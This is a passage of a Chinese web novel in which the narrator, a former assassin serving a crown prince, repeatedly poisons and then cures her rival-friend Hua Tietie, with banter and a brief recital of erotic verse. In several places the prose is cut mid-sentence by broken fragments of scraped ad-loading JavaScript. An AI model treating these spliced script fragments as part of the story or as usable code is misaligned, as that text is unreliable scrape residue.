花铁铁没有感受到我的情绪,她呵呵笑着,不知为啥,明明是责备,可就是觉得我这一番话,她听着心里还挺欢喜的,“是是是,我就是因为知道他那时候不给力,所以才轻信了谣言,以为你死了,他也死了,差点没哭死了,行了行了,别提他了,哎呀,这些年你不在江湖,江湖都没意思了,特别没劲儿。哎,你怎么成了你们大汉太子的狗了。” 我啧了一声,表示她话说得太难听,“你才是狗,我是我们殿下的鹰。” “鹰个屁,爪牙,鹰犬,那不就是狗吗?” 说话间,堂邑夫一队人已经到了营帐,去太子那边回禀。太子叫我们一起去大帐中坐定,我和花铁铁坐在末席,花铁铁接着问我,怎么想起做朝廷的鹰犬。她实在好奇,我们都是历经万难爬上江湖顶峰的人,江湖是我们的天下,自由自在,为所欲为,何苦投身朝廷,重新开始。 “我,是一个没有前世没有来生的人。今生今世,也不过一副残躯而已,命运多舛的。我这一生没有什么好失去的,凄凉吧,但也有个好处,就是所有崭新的一切都等着我去拥有,于是我想爬不一样的山峰,看不一样的风景,人往高处走,水往低处流,庙小妖风大,滩浅王八多,江湖纷纷扰扰翻来覆去也就那些事儿了,杜晦的遭遇,让我心惊也心凉,江湖,我倦了,腻了——我属于大海,江湖撑不下我了。”其实,我从来就不属于江湖,我有自己的使命,江湖只是我临时的跳板,并 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是我真正的修罗场。可我并不能这样说。 “趁年轻,趁还活着,做点正经事儿,雁过留声,人过留名呗,我就想以此残躯:为天地立心,为生民立命,为往圣继绝学,为万世开太平。一代人有一代人要完成的使命,有志者,当开疆拓土定国安邦强政富民。山河未统,五奴未灭,我想我们这一代,该收拾一下残局,如果我们不收拾,下一代下下一代也要收拾,可那个时候,我们准备好了,奴人也休养壮大,卷土重来,猛兽碰上肥肉,又是一场乱战。我本是一个冤孽深重的人,我这双手再多沾些血又怎样?终究是要永堕阿鼻地狱,那不如再多些杀戮,提剑安天下,立马定乾坤。” 花铁铁鼓起掌来,崇拜的看着我,激动地说不出话来。许久才道:“还得是你,你说的话永远这么好听,这么振奋人心。我刚都恍惚了,都感觉是不是又要做任务了。”以前我们做任务之前,我都要发表一番言论,鼓舞士气的。 “别老想着做任务,趁年轻做点别的。别等到七老八十了,才想起来十六岁的少年手没拉,十八岁的哥哥嘴没亲,有什么用?老了后悔了死了!”我说完,端起杯子还没入口,只见刚刚回禀完退到我身边坐定的堂邑夫,忽然又嚯的一下站起身来,大帐瞬间没了动静都看向他。 他一时红了脸,看了看花铁铁,张了张嘴,最后缓缓坐下。花铁铁不屑的瞪了他一眼,觉得他很破坏兴致。 太子他们继续商议要事,并不再理会坐在末席的我们,平安不喜欢花铁铁于是坐在另一边的末席,正和秦王一起小声交谈。不知说了什么,秦王伤心落泪,平安温柔安抚着。 花铁铁说:“你现在做了北汉太子的谋臣,我怎么也得弄个摄政王的谋士当当。” 说完,便拿定了主意,一脸决绝,起身就要走,我赶紧送上一杯茶,以茶代酒,为她送行:“祝花卿,金麟遇风雨,北冥鲲鹏举,他日同风起,扶摇九万里。凌许鸿鹄志,俯仰天地宽。一鸣从此始,相见青云端。” “好来,走啦,来日两国交战,别下不去手哈。”花铁铁仰头将茶一饮而尽,将杯子一摔,抱拳一礼,转身洒脱而去,谁知走了几步,顿住,回过头来,问我:“刚你那一长串儿啥意思?” 我顿了顿,张着嘴巴转了转眼睛,想了想,才道:“就是……祝你,发大财,升大官的意思。嗯……混仕途和混江湖一样,都特别厉害。” “啧……唉,我读书少,心眼子也少,应该做不了谋士。”花铁铁啧了一声,想了想,半天叹了口气道。说完,有些泄气的样子,走回来,在末席坐好,伏在几案上,一手托着腮,一手在几案上敲着,不知道在想什么。 我赶紧重新拿了个杯子,倒上茶递给她,她想也不想接过去又是一饮而尽,满脸愁闷,一手抵在下巴上,又琢磨起来:“要不弄个摄政王的王妃当当。这样以后咱们俩巅峰对决的时候,我怎么也是个王妃的身份,和你也算是旗鼓相当哈。” 身旁的堂邑夫,闻言整个人僵了僵。 81. 较劲 “你可想好了,我听说你们摄政王一把年纪了不近女色,说是不大行,你可别误了终身……”我还是想劝劝她的,毕竟婚姻事业都是人生大事,这些事上,不能轻易而定。 “什么乱七八槽的,你打哪听的,我们摄政王而立之年,正值壮年,不近女色就是不行啊,那是洁身自好好吧。”花铁铁打断我,说完起身就又告辞,一阵清凉的晚风吹进帐子,平安的围帽被掀起一半,花铁铁惊鸿一瞥,然后凑过去,将头伸进平安的围帽里,愣了一会儿,才出来,走回我身边坐下。 我一边给她又倒了一杯茶,一边笑嘻嘻地问她:“怎么啦?不走啦?不去做王妃啦?” “我原本对自己的长相还挺自信的……”花铁铁看了看我端到她眼前的茶,一点没有要喝的意思,道:“我要是有你妹妹那般模样,铁定就去做王妃了。啧,迷茫了。” 我呵呵一笑,余光看了看堂邑夫,“要不你找个好人嫁了吧。我妹妹长成那样也没想着做什么王妃,最大的愿望就是和喜欢的人生儿育女一辈子。”我说着把茶杯往她嘴边又送了送。 “好人?哪有什么好人啊?唉……”花铁铁双手托着脸,真的犯起愁来,她还是在江湖上如鱼得水,可刚宣布退出江湖,也不能一顿饭的功夫就反悔,宣布重出江湖,可是接下来做什么呢?能做什么呢? 忽然花铁铁眼睛一亮,兴奋道:“要不我干脆回我们南唐从军做个女将军吧,这个比较适合我。嗯,就这么决定了!”说罢,花铁铁伸手要接我递上的茶,我手不小心一抖,茶水撒了。 我有些抱歉的看着花铁铁,花铁铁哈哈一笑道喝了也挺多了,这杯权当喝过了,说完就起身告辞,走到帐子门口,她忽然顿住,一手按在腰间,低头沉思,仿佛在做什么要紧的决定,“此去一别,再见面咱们就是敌人了!” 我心里轻轻叹了口气:唉,再见面就是敌人?你可不知此去咱们就是了! 花铁铁缓缓抽出她的兵器——月刃,寒光和铁鸣,让空气瞬间肃杀,一切安静下来,只闻风吹树,河中浪,草下虫,林间鸟……我看了看太子,示意他不要紧,众人却不敢放松。花铁铁沉浸在自己的世界里,看着月刃发呆. 月刃是组合兵器,花铁铁一分为二,到我身前,将其中一把递给我说是给我留个纪念。我得承认,花铁铁对我的情义,是没得说的。 若是从军,以后使用的兵器都是长兵利器,她的能力也用不着近身肉搏,这种短兵于她不太实用了。她的月刃是她师父用天外石打造的,不仅锋利无比,还十分精美,堪称艺术品,她能送我是真舍得,也真是向从前作别了。 我看着月刃,心下颤抖,分外纠结,端着重新斟满的茶杯犹豫着。花铁铁以为我觉得礼物实在贵重,不好意思收下,于是上前一步打算硬塞给我,还未开口说话,只听一道利器划破长空,奔袭而来的声音,目标竟是花铁铁——说时迟那时快,花铁铁合上月刃,运气凝神,对着劈来的长刀砍去…… 两兵交刃,长刀飞旋回去,策马而来的李大公子一把握住,飞身进帐刀指花铁铁,对着太子道:“殿下,微臣救驾来迟!” 一番解释,误会破除…… 南军大营那边,我们不去探究是否调动,为何调动,心知肚明便罢了。就算追究,也不过是军队在上林苑拉练,到底没什么把柄,不如相安无事。北军也是打着拉练的名义,偶遇太子行驾,只不过途中捡到了几个流寇尸体。 我们去查看尸体,尸体被人左右胸各刺一刀,这是因为有些人的心脏长得位置是偏的,为了不留一丝活口,他们做的十分严谨。不过动手的人,还是怕有闪失,于是又在脖子上后补一刀放血,但很明显,这些人都是中毒而亡。 中毒!!花铁铁一看,便神色紧张。 我让她不用担心,我说你们一过河到我眼前,打了照面,我就知道除了杜威那几个,你们都中招了,应该是行动前的壮行酒给人动了手脚。不过刚一起喝酒的时候我就给他们把毒都解了。 众人这才明白,那些不招供的我直接给放了,招供的我也没着急杀,原来是这个缘故。花铁铁大骂杜威阴险,做任务的不做任务,竟然都给下毒。埋怨我怎么当时不带着她一起过河杀杜威那伙人。 因为有些事情,你不合适知晓。男人到死都要保持尊严和体面。我呵呵笑着不回应花铁铁。 北军的将士拜别太子,带着流寇的尸体离开,回去上道折子请功,当然这捡来的功劳如何也抵不上救驾的功劳,但是大家都心知肚明,救驾的功只能记,不能扬。 想来南军那些真正动手杀“流寇”的人得懊悔死,可谁叫他们做贼心虚,除了流寇,却不敢带回尸体,匆匆就跑了呢? 事情告一段落,一行人拔营收队…… 花铁铁问我刚才说带她去个好地方洗洗,现在可以去了吗?我想带花铁铁去汤泉宫,就赶紧跟太子请求恩典,太子说众兄弟们劳苦一天,合该修养调理,他原也正有此意,特赐我们同行,于是一行人朝着汤泉宫进发。我本来是和花铁铁同乘一骑,和堂邑夫平安一起在后面跟着。途中太子殿下让我过去他身边,花铁铁非要一起,于是我只能带着她。 太子看了看花铁铁,又看了看我,笑呵呵的道:“我都听见了。” “听见什么了?”花铁铁问。我眼前一黑,用胳膊怼了怼身后的她。一是要她注意不要抢话,抢话的话也要注意措辞,二是暗示她,那个“都”字,自然是全都听见了的意思。 “殿下我想我可以解释。”我道。 “啊呵呵……英雄不问出处。”太子柔声道。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “哎呦,你家殿下笑声真好听,人也怪温柔的。”借着火把的光,太子神侧颜,把花铁铁直接看迷了,许久她才没出息的道:“哎奇了怪了,长安,你看上的人怎么老往我心里钻啊。” 此话一出众人都是一愣,谁敢当着太子的面儿这么说话啊,太子的嘴角也抽了抽。 我想把花铁铁毒哑,只得放慢速度,跟在太子亲王后面,花铁铁看着太子的背影,久久不能自拔,觉得我们:“真是英雄所见略同。” 我不赞同,道:“不,不是我们有英雄的眼光,是那耀眼的光普照众生,你我皆不例外而已。我们殿下啊,好着呢。你们摄政王坏死了,和我们太子差着境界呢,你跟着他还想和我旗鼓相当?破旗烂鼓,台子你就上错了。选主子和选男人一样,你呀别挖空心思找一个人千方百计地让他对你好,那等于是老早就递了一把刀给人家,随时插~你心口,你得学我,要找一个本身就很好的人对你好,就算有一天他不想对你好了,他的道德品质修养内涵,也不允许他做伤害你的事。哎,怎么样,要不你和我一起做俺们太子殿下的鹰犬吧,每日如沐春风。” 花铁铁蹙眉摇头:“你家太子再好我也是唐人,做你汉人的鹰犬,那是投敌叛国吧?” “江湖儿女哪有国界。”我转头翻了个白眼。 “咱俩斗了多少年了,还没分出个胜负呢……” 跟我斗,斗这么久都没赢,就是输了啊。还没死,是因为我舍不得你死。这话我不会说给花铁铁听的。忽然有件事儿从我心头划过,我只觉得自己好像有什么要紧事儿忘了,正要细想,就听花铁铁大剌剌的放着厥词。 “要不我还是去给我们摄政王做谋臣吧,不会就学呗,破旗烂鼓也无所谓,草台班子也比没台子强。天下自古成王败寇,李氏没落了,现在大唐怎么着也是摄政王说了算,他政绩卓然,吏治清明,我们南边早就默认他名正言顺了,他人品其实不差,百姓对他也是有口皆碑,我跟着他也能前途无量混出个样来。到时候你是北汉太子的人,我是南唐摄政王的人,如此我还可以与你半斤八两,平分秋色。巅峰对决的时候,也有面子不是。” “你可想好啦,都是狗,但狗和狗可不一样,我们殿下,不会让我吃屎,但你们摄政王他会任由你吃屎。”我说完众人哈哈大笑。 花铁铁嫌我说话难听,但去意已决,要撵我下马。这个花铁铁,临走还要拐走我们大汉一匹好马。“要是有一天我们摄政王登基了,我也是从龙之臣,比你差哪儿?倒比你金贵些吧?” “呵呵,怪不得铁了心要跟着那个乱臣贼子,原来是打了这个谱,赵洛之心,路人皆知……好吧,你去吧。想和我旗鼓相当,你一定要做摄政王的左右手,做他的智囊,让他对你言听计从才行,才配和我平分秋色。” 82. 毒发 我自是不肯轻易被她撵下马,赖在马背上,倚在她怀里,掏心窝似的为她思虑万千的样子,语重心长地嘱咐她:“唉,你那么单纯善良,豪爽仗义,怎么斗得过南唐那些权贵门阀,那可都是老世族,老谋深算,阴狠老辣,不是那么好对付的,我实在担心你啊,当然你的本事我是不担心的,但朝堂风云诡谲,不比江湖尔虞我诈来的轻松,虽然你在江湖上风生水起,但政治不是那么简单的,你心直口快,那些人花花肠子多的很,又都是三寸不烂之舌,吵架你吵不赢的。 你天真直率,又不会虚与委蛇,结交党羽,你坦诚惯了,喜欢得罪人,又不怕得罪人,以后可要收着性子,多花心思多动脑筋,劳心费脑和政敌周旋,可万万不能一言不合上来就把人全给杀了,你这一身本事,南唐的朝堂上谁是你的对手?那不和韭菜一样,擎好了让你割啊,眨眼的功夫,该给你杀没人了,那摄政王身边除了你就……就没有可用之人了,到时候一个国家,事事都要你操心,责任越大,担子越重,当然权利也越大,一人之下万人之上,多风光,多神气,到时候我也得服你……嗯?……” 说着说着,我一副觉得哪里不对,又说不上来的样子,不禁发出疑惑“嗯”了一声,顿了顿,转了转眼睛,接着道:“但那样你会很辛苦很累的……噢对对对,你们摄政王疑心病重,对下猜忌的很,万一,我是说万一摄政王不像我这般懂你,你们君臣也不像我家主子和我一样戮力同心,你们君臣……那你结局可想而知……得老惨了得……你,你还能把摄政王也当韭菜割了呀……我,我可不是怕你比我混的好,故意吓唬你,是,事实如此,你家摄政王就是疑心病,喜欢猜忌,当然你是极度坦率之人,猜无可猜,拿下摄政王不在话下,可,可到底……嗯,要不给摄政王做谋臣的事,先放一放,不妨先多读读书,来日再……”我越说越酸兮兮的,一肚子小心思的样子。 表面看着,我是苦口婆心真心实意替花铁铁打算,其实是在暗示她,能动手就动手,暗斗不如明杀,把摄政王身边的人清理干净,把朝堂也打扫一下,让他除了你这个“人才”再也无人可用,要是他不懂你,和你不同心,灭他,你顺手的事。 这样我大汉一统江山指日可待。不废一兵一卒不说,我们接手南唐的时候,干干净净的拿过来直接用,就可以了。我一边说着,太子亲王们一边抿着嘴,余光看我。 最后那一番话配上那神情,更是让花铁铁觉得我因她将来发展得一定比我好,而隐隐生了嫉妒,便使了心眼子,故作担忧实则劝阻,更让她确定此路可走!深信无他,坚定不移! 花铁铁果然像是开启了新世界,兴奋地打断我,“读什么书读书?江湖就是打打杀杀,朝堂也就这么回事儿。谁没读过书啊?治大国如烹小鲜,我那些个墨水够用了,就一个葱花炒鸡蛋,我手拿把掐!”花铁铁将我提起来朝惠王马背上一扔,道:“待我去杀他个片甲不留,咱们顶峰相见。” 花铁铁的墨水,全都来自话本子和说书先生,有时候蹦出一两句像样的话,不足为奇。 见花铁铁这厮真的调转马头要走,我总觉得还有什么事,得留一下花铁铁,便急忙道:“哎哎哎,你先别走,咱们不是要去泡汤泉的吗?” “泡个屁,等我收复北地,我请你泡……”还未说完,花铁铁就两眼一闭,翻身摔下马去。 我大叫糟糕,毒发了。对对对,我说有什么事儿给忘了,这下想起来,最后花铁铁要去从军,送我月刃,我当时正端着有解药的茶犹豫要不要给她,是被李大公子打断了,我们又忙活着查看北军带过来的尸体…… 哎呀,罪过罪过,居然出了这么个大纰漏……花铁铁要恨死我了,那我也得救啊。一定要把她救活,她要做摄政王的谋臣也好,王妃也罢,从军也行,总之我大汉一统江山,因为她对南唐忠心耿耿而指日可待,我的功成名就全系在她一人身上了,她可不能死啊,啊哈哈哈…… 啊哈哈……到最后,她怕是都不知道她是我最好的安排!还说什么跟着我们太子,她是投敌叛国,那跟着她们摄政王,反倒是忠义两全了,就冲花铁铁对我们大汉的“义”,我也得必须把她救活。 花铁铁摔在了堂邑夫怀里,啧啧,堂邑夫还真是痴情。我赶紧从惠王的马背上下来,给花铁铁喂了个药丸,运气点穴,封住周身筋脉。 堂邑夫问我他看上花铁铁了,是不是眼瞎?我说早知道你心里住着人了,真没想到是花铁铁,你是担心这个才瞒着我的?火把照得堂邑夫脸更红了…… 大队人马继续前进,堂邑夫平时扛我抗习惯了,扛着花铁铁就要上马,我急忙阻止他,说心爱的女人要抱着,要搁在胸前,守在眼前儿。我飞身上了惠王的马背,倚在惠王怀里,看着平时做事精细地堂邑夫笨拙的摆弄着,骂他是大傻子。惠王呵呵一笑。齐王要我和他同乘一骑,我嫌来回倒腾太麻烦,没答应。 堂邑夫根本不理会我骂他,欢喜着呢,合不拢嘴,龇着大牙,可以理解,毕竟花铁铁从来没这么温顺的在他怀里待过。 我说:“女人呢是分等级的,性情,品行,样貌,身材……花铁铁哪一方面拎出来论都是一顶一的,你看上花铁铁呢,说明你不仅没瞎,还证明你眼光没问题,而且我觉得你,超级有胆量,超级有魄力,一般男人跟你没法儿比,要知道花铁铁可不是一般女人,这样的女人,多少男人想都不敢想,你不愧是我大螳螂,胆识过人,敢想……哎你可别敢干啊,花铁铁这样的女子,你操之过急容易被骟,之前出师未捷差点死了一次,你得长记性,这回儿我可先给 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你提好醒了,你自己有个数哈……啧,你不早和我说,我要早知道了给你当军师,说不定你和花铁铁都已经……不行不行,咱实话实说啊,配她,你还差火候,嗯,先努力成为优秀的人,成为最好的自己,要让自己有价值,才能配得上她,嗯,别急,不能急,往后,表明心意的话一句都不要说,表明心意的事儿一件都不要落,这样她不会毫不犹豫的拒绝你,只要没有一口回绝,你就总有机会。等火候到了,水到渠成,喜酒我就不喝了,喜糖我要双份儿。” 堂邑夫完全合不拢嘴,呲着大牙,点点头,看了看怀里的花铁铁。 平安小声问我:“长安,堂邑夫那么深爱花铁铁,你给花铁铁下毒,不怕堂邑夫……” “不怕啊,我和花铁铁的事儿,他明白的,花铁铁把我杀了,他不许报仇,我把花铁铁杀了,他自然也不会记恨,伤心肯定在所难免。”我自信满满,继续说道:“花铁铁把他差点坑死,我也只能生闷气,就算真死了,我也不能怎样,顶多给他弄副上好的棺材板子,叫花铁铁多随些奠仪,唉,江湖上的人情世故和俗世总不太一样,我们都彼此懂,却也没办法和你一下子解释明白,得亲身体会体会才行。” 汤泉宫偏殿,苏醒的花铁铁睁开眼,恢复神智,立即明白过来,瞪了一眼正在打坐调息的我,道:“哎呀,人和人就不能少一点尔虞我诈吗?你是什么时候给我下的毒啊,哎妈呀,太毒了,难受死我的。”说着举起软塌塌的拳头,在我腿上打了一下,虽然打得不重,但仿佛吃的亏,在心理上也算是还回去了,所以这一下是非打不可的,要不然她花铁铁扯不平这口恶气。 “我已经对你很好了好吧,这毒死的时候一点也不痛苦,啥感觉也没有好吧。”我收了气息,睁眼上前查看她的状况。 “那倒也是,我就记得唰的一下,我就啥也不知道了。哎呀,这解完毒了是吧,怎么还难受上了呢?”身上也难受,心里也难受,花铁铁无力地撑着身子坐起来。 “多少有些伤元气,你打坐调息,疏通修复好脉络,就好了。”我扶她坐正,给她倒了一杯茶。 “你是真毒啊。”花铁铁看着我端到她眼前的茶杯,恍然,笑了笑,对我下毒的经过了然于心。 我讪讪地放下茶杯,道:“你说此去一别,再见面咱们就是敌人了,可是对我来说,你做下决定要走的时候,咱们就是敌人了。第一次下毒是在你要做摄政王谋臣的时候,可你回来,我就给你解了,第二次是你要做王妃的时候,不过你因为见到我妹妹美貌而心有落差,回来没喝下我给你备好的那杯解毒茶,于是等你打算从军要离开的时候,我不小心打翻了那杯解毒茶,可是当你将月刃一分为二赠送给我的时候,我端着重新倒好的解毒茶,是要给你的,虽然犹豫着……” 83. 吟诗 “你,呵,你是真毒啊,我特么以为自始至终就一杯,居然三番几次给我下毒。”花铁铁简直要气死了,根本没办法静下来运气调息。“那你给我解毒干什么?死了不是正好?噢,不许我死在你们长安城的地见儿上?” 花铁铁从建州回来,说话都带着建州的风格,杀手做长线任务是要入乡随俗的,方言必须过关。花铁铁根据毒发的时长一算,就算到以她的轻功来计,那杯茶的毒,是在她出了长安界以后才发作。 我什么也没解释,只一个劲儿道歉,又道:“我也为我不成熟的决定付出代价了,损失三成功力为你清毒,也算是得到教训了,现在你一巴掌就能拍死我。” “我特么一点劲儿都没有,一巴掌连个蚊子都拍不死。难受,好难受啊……”中了毒,身上是很难受的,花铁铁哭起来,我知道她是伤心我真的对她出手,不过也许是想到了杜晦,或者想到以后我们终将走向你死我活的对立面,那么今天这场生死,不过是小试牛刀罢了。 她哭得我也心碎。堂邑夫走进来坐在一边不说话,也红着眼圈掉眼泪。许久花铁铁长长舒了口气,带着鼻音道:“哎呀,行吧,你回来这日子多少过得闹腾些,倒也有滋味。之前,这江湖少了你,我总有一种兔死狐悲之感。” 堂邑夫一脸茫然,抹了把眼泪,道:“兔死狐悲不是这样用吧。” 花铁铁不自然的轻轻咳了咳,掩饰尴尬,讽刺道:“知道你现在是学宫的学生,少搁我面前显摆你那点才识啊,长安比你读书多也没指正我。” 堂邑夫的指正是让花铁铁很没面子的,也不是时候,人花铁铁正伤心着呢。我责备堂邑夫:“让你多读书不是让你有学识了好去对别人的错处咬文嚼字围追堵截,是为了听得懂各种人说的各种话。花铁铁想表达的孤独和伤心我听得懂,那么她说的话她的用词目的就达到了,就有意义。” 我把堂邑夫撵出去,给花铁铁撑脸面,等堂邑夫关上殿门后,又转头责怪花铁铁:“你看让你多读书,你不听,现在叫堂邑夫揭挑到了吧?” 花铁铁一听到读书就有些脑子疼,或许真的头疼,捂着头直言难受,我叫她掐诀运气调息,花铁铁一番运气,察觉到身体里我的内力,不觉惊讶道:“你的内力如何这般精纯,让人这般舒爽?” “嗯?你也有这样的感觉吗?”我惊讶的问完,然后才摇摇头回答她:“不知道。” “……还有谁有这样的感觉?”花铁铁好奇地问。 “没谁,咱们一起泡汤泉吧,这里的汤泉很滋养的,有助于咱们恢复内力,调理身体。”说着就拉扯着花铁铁出了偏殿,下了池子。 我们在汤泉里打坐,对掌运气,感受彼此的气息。花铁铁的身体恢复很快,把我的内力渡回给我。我们相互依偎着,她把我当枕头,我就好好给她枕着,一同靠在池边悠闲地泡着汤泉,吃着果品点心,喝着茶饮。我和花铁铁认识这么久,但像这样的夜晚,并不多。 可始终是要分开的,“很遗憾,明明是山重水复,可偏偏我们只能拥有彼此一程。”我感慨万分。“我原以为,人间最美好的事是初遇,没想到原来最让人心醉的是重逢,可是重逢意味着下次离别又近了。人真是很奇怪的东西,从结识的那一刻,缘分就开始消磨,消磨尽了,人就散了。好多人,走着走着,就不见了,找不到了,丢了。” “人是很奇怪的东西嘛?好像确实很奇怪!诚如你说的,人真的很奇怪!”花铁铁从疑惑到确定。 我却混乱了一下,然后推翻了自己的观点,道:“不,人不奇怪,奇怪的不是人,是天地不仁,从不把人当人:想要离开,不让你离开,让你们待在一起互相煎熬折磨,彼此伤害,还要纠缠一生,一辈子不得清净,安宁,说是缘分使然,于是就得毫无怨言的承受。而不想分开,那可由不得你舍不舍得,愿不愿意,就是要让你们生离,死别,一辈子想着念着,牵肠挂肚,一面也不教你见着,要怨天,要恨地,就说你们缘分尽了,一句冷冰冰的话,就要断了你所有念想,你就得心甘情愿的忍着……可,我们好像一点办法也没有!” “……一点办法也没有吗?这可不像你说出来的话!”花铁铁直起身子,捧着我的小脸,亲了亲道:“我不想把你再弄丢了,长安……我,我不打算走了,我要留下,好不容易重逢,我不想再失去你了,托你的福,我也死过一次了,我不想做你的对手,更不想做你的敌人,我得承认我根本赢不了你,你想弄死我,我死不知道多少回了?长安,你知道么,你不在的那些年,真的很难熬,天不生长安,万古如长夜,杜晦说的没错,你就是一道照亮万古的光,我想跟着你这道光,去你去的地方,到你到的高度,见你眼中所见,我想那是不一样的风景,看过,不枉此生的那种。”花铁铁紧紧抱着我,在我颈子上,深深嗅了嗅,痴迷道:“长安,你,好香啊。” “怎么?你要成精了,要吃孩子?”我刚刚有些感动,忽然听见她如此动情的说我好香,呼出的热气,让我起了一层鸡皮疙瘩,赶紧侧头躲了躲,满眼惊恐的问。 “滚!”花铁铁一把把我推开,她这声滚,很有我的韵味。于是我们相视哈哈一笑。 笑着笑着,就红了眼眶,花铁铁能放下过往,决定留在我身边,是多大的情义啊。我不能亏待她,“我这副身躯无所谓男女,我立志做男人了。你既然不走了,就跟了我吧,我保证好好待你,我以后做了宰相,给你挣个诰命,以后我在男人堆里是老几,你在女人堆里就是老几怎么样?我在京城置办了一个大大的宅子,就缺一个像你一般贤良淑德的人给我主持中馈呢。” 贤良淑德,花铁铁才不信自己有那份儿品质,“那可不行。管你说的如何天花乱坠,男人的话我从来是不听的,我留下来是留下,但是也能说走就能走,得和你平起平坐,不能从你,依附你,你现在男女可以不论,但我给你个小屁孩当婆娘,算怎么回事儿,不行,我不愿意。”花铁铁坚决否定。 啧,头前儿还教人家堂邑夫不要操之过急,我这边登时就叫花铁铁一口回绝了。做男人我还差着火候呢,我索然无味地吃着她喂给我的点心。 花铁铁一边喂我,一边道:“瞧你怎么喂也不长,哎,听说你……误以为你死了以后,我在南边偶然捡到一只小花猪,那小猪又可爱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又漂亮,还机灵,我就觉得像你,我就想着睹物思人吧,我就带回去喂,我一想你我就喂,一想你我就喂,你猜结果怎么着?” 嗯,这年头,美女都兴养猪?!我咽下糕点,道:“结果?你让我猜?那肯定不能是给撑死了,别是你突然有一天想我想得想不起来喂了把猪饿死了。”说完又忽然黑着脸怼了她一句:“你才像猪,你正好是花猪。” 花铁铁笑得花枝乱颤,上气不接下气,许久才平复道:“哎呀,死了倒也干净,我出去做了个任务,把猪托付给我二师兄,回来一看他把猪喂得二百多斤了那个壮啊,还是一头龇着獠牙,面目丑陋的野猪,我才出去几天啊,我可爱的小花猪就……我当时一看心都碎了……”花铁铁一幅又伤心又恶心的样子。 养野猪?还得是你! 花铁铁现在是闲散人,不是江湖人也不是对立国人,我们都不再为难,最开心的还是要数堂邑夫。 刘景御驾汤泉宫,太子是他的心尖尖儿,其他儿子也都涉险,他虽然早在之前便在我这里得知刺杀一事儿,和太子商讨好注意事项,但刺杀提前,还是让这位老父亲心提到了嗓子眼儿,看到儿子们安然无恙,他欣喜不已,热泪盈眶。 汤泉宫有很多殿宇,我和花铁铁在的这一处偏殿名为丛芳苑,远处汤泉宫前殿歌舞升平,还有社火铁花,刘景这一番庆贺,一是平复心情,二是驱赶邪祟……平安从前殿过来,说是一会儿打铁花,离得太远看不尽兴,离得太近又怕危险。 我和花铁铁穿好衣服,带着平安一起飞到偏殿顶上,视角还是不太好,于是又找了一处殿宇,在屋脊上排排坐定,说说笑笑,等着打铁花。 火树银花不夜天……美丽的花火,终究落寞……夜渐渐深了,我们都没睡意,于是躺在殿宇顶上看月色如水…… 堂邑夫明日还要上学,去休息处温习功课。 记得当年我和堂邑夫闲着没事就拿着书看,花铁铁就不许我们看书,让我们陪着她玩,一起练功啥的。我说看书最有意思,书中有很多道理,就算眼下用不到,以后迷茫也能指引道路,受到挫败也能开解,经历的事,走过的路,总能在书中找到共鸣,很多事儿书中早有答案,早有指点,所以要多读书。彼时花铁铁未经世事,扬言说她才不会迷茫,受挫,她不需要读书,然后就和我们闹起来…… 花铁铁回忆着我们的以前,说虽然当时闹起来很烦,但那些话她其实有听进去,后来也总记在心上,说我不在的这些年她也看了不少书,然后给我们展示她的读书成果。 “……深夜交颈鸳鸯枕,红罗锦被翻红浪,云收雨歇堪难当,双双戏水试兰汤,美人含怒夺灯去,问郎知是几更天,含羞带笑把烛灭,粉香汗湿瑶琴轮,春逗酥融棉雨膏,可怜数滴菩提水,倾入红莲两瓣中,金箭刺破桃花蕊,不敢高声暗皱眉,欲罢檀郎扪弄处……” “哎呀,你快快停吧,你你你这是读的什么书,铁铁,你,你这是,这是淫~诗!”夜色里平安羞红了脸,她急促的打断花铁铁。 “吟诗?对啊,我就是在吟诗啊?”吟诗作对风雅之事,花铁铁很奇怪平安为何那样子。 84. 当狗 我道:“这诗还好吧,平安要不你把耳朵捂上?”平安瞪了我一眼。我呵呵笑着,等了一会儿,花铁铁却没再继续,我催促道:“还有吗?” 花铁铁说了一声还有,微微抬头隔着我看了平安一眼,又看了看我,准备继续吟诗,还未开口,平安躺不住了,支起上身,在我肩上打了一下,道:“不学好!铁铁你不许继续!” 我捂着肩膀,小鸡啄米似得点着头,和花铁铁对视一下,会心一笑,眼神示意,只能再找个机会私下继续吟诗了。 我问花铁铁从哪看的好书,她说是从我师门的山洞里找的。我噘着嘴巴问,感情我死了,我师父留给我的,你都占为己有了? 她说她那是留个念想,不过大开眼界之后,还是跟捡了个大宝藏一样欢喜的不行。我问那些书是哪个洞里的,回头让堂邑夫拉来长安城,咱们细细研读。 花铁铁说就是写着成亲可看的那个山洞。 我师父留给我的东西大都标记好了时间,仿佛他早就对自己的一去不复返做好了准备。 花铁铁说完看了看我,略带愧疚,我道:“没事,我师父的话都是叮嘱我的,你不用听,不过我此生可能也成不了亲了,什么时候看也无所谓。”又对平安道:“反正你也快成亲了,到时候咱们一起看哈。” 平安还对花铁铁有些陌生,有些芥蒂,聊这些闺中之事,还是不太习惯花铁铁在,也对她的直爽感到羞涩胆怯,红着脸转过头去,道:“看当然是可以的,但是别吟出来就好。” 花铁铁笑道:“吟出来又如何,就咱们三个,你还真把长安当成哥啊?” 我赶紧警示花铁铁:“快快闭嘴,小声些吧,大晚上的,这点动静也不小。”她是把你当成“哥”好吗,你比男人还奔放!!哪有一点女儿家家的样子。 花铁铁问我,到底是怎么就突发奇想,做决定投身朝廷的呢,先前那些冠冕堂皇的话,她是不信的。 我呵呵笑道:“那些大道理,当然都是虚的,其实……哎,你我身为女子,自幼混迹江湖,能活着多不容易啊,这世间疾苦一样不落,有幸练得一身本事护自己周全,不使玷污,能清清白白,干干净净,便胜却人间无数,其中滋味,你我深有体会,却也不足言说。” 花铁铁和平安闻言都是心中一紧,是的,我们经历的那些苦楚,放在心沉甸甸的,可真要说出来,却又轻飘飘的不值一提——自有比我们更加疾苦的人。 